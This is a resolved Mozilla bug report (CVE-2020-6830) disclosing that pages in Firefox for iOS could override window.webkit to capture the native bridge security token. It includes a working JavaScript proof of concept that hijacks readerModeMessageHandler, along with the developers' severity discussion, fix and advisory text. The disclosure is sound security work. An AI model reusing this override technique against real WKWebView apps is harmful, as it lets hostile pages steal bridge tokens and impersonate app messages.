1632387 - (CVE-2020-6830) Firefox iOS Security Token Hijack By Overriding window.webkit

Status: RESOLVED FIXED

(Firefox for iOS :: General, task, P1)

Description

[Vinoth Kumar]

Attachment: firefox-reader.html

Firefox Version: v24.1
OS: iOS 13.3.1

Issue: Firefox iOS Security Token Hijack By Overriding window.webkit

Description:

Firefox iOS uses window.webkit.messageHandlers to communicate between WKWebView and ViewController and this communication is now protected by SECUIRTY_TOKEN(UUID).
But in WKWebView A web page can override |window.webkit| with any value(overriding). The below code would get the SECURITY_TOKEN to attacker controlled page when user visit's attacker's site.

<script type="text/javascript">
    function getToken(msg) {
        alert(msg.securityToken);
        originalWebkit.messageHandlers.readerModeMessageHandler.postMessage(msg);
    }
    originalWebkit = webkit;
    webkit = {};
    webkit.messageHandlers = {};
    webkit.messageHandlers.readerModeMessageHandler = {};
    webkit.messageHandlers.readerModeMessageHandler.postMessage = getToken;
</script>

POC:

• Open https://vinothkumar.tech/firefox-reader your iOS firefox browser.
• Alert popup trigered with SECURITY_TOKEN

Root Cause:
A web page can override |window.webkit| with any value.

Fix:
Deleting the object ensures that original and working implementation of window.webkit is restored.

var oldWebkit = window.webkit;
delete window['webkit'];
window.webkit.messageHandlers[handlerName].postMessage(message);
window.webkit = oldWebkit;

Comment 1

[Daniel Veditz [:dveditz]]

Rating would depend on what kinds of messages we're sending ourselves that, due to this, any web page can impersonate. "critical" might be overstating it. If it's just informational type messages it might only be sec-moderate or sec-low, but if it's browser actions that affect other origins or the user's data it could be that bad.

Comment 2

[:garvan]

The messages should not be exploitable, the intention of this was an extra layer of security.

Comment 3

[:garvan]

Most likely just removing the SECURITY_TOKEN entirely, it has likely never worked, there was no specific bug for it being added, and was just a hopeful effort at adding an extra layer of security where WKWebView is lacking.
wip removal patch: https://github.com/garvankeeley/firefox-ios/commit/88d0ca32385096f31caef22fd45ce3767deaa05d

Comment 4

[:garvan]

Removed use of sec token with postMessage(), which was a recent addition as an extra layer of security for js-to-native, instead it actually leaks the token. The other direction, native-to-js is unchanged.

https://github.com/mozilla-mobile/firefox-ios/pull/6467

Comment 5

[:garvan]

This will be in v25 which is being released this week, we should ensure it makes it into the sec advisory notes.

Comment 6

[Daniel Veditz [:dveditz]]

Lowering severity per comment 2

Comment 8

[Daniel Veditz [:dveditz]]

Use CVE-2020-6830 for this bug.

Comment 9

[Daniela Arcese [:daniela]]

Attachment: advisory.txt

Comment 10

[Daniela Arcese [:daniela]]

Attachment: advisory.txt

Comment 11

[Daniela Arcese [:daniela]]

Comment on attachment 9144751 [details]
advisory.txt

>Native-to-JS bridging security token exploit
>Vinoth Kumar
>
>For native-to-JS bridging the app requires a unique token to be passed that ensures non-app code can't call the bridging functions. That token was being used for JS-to-native also, but it isn't needed in this case, and its usage in this case was also leaking this token.

Comment 12

[Daniela Arcese [:daniela]]

Attachment: advisory.txt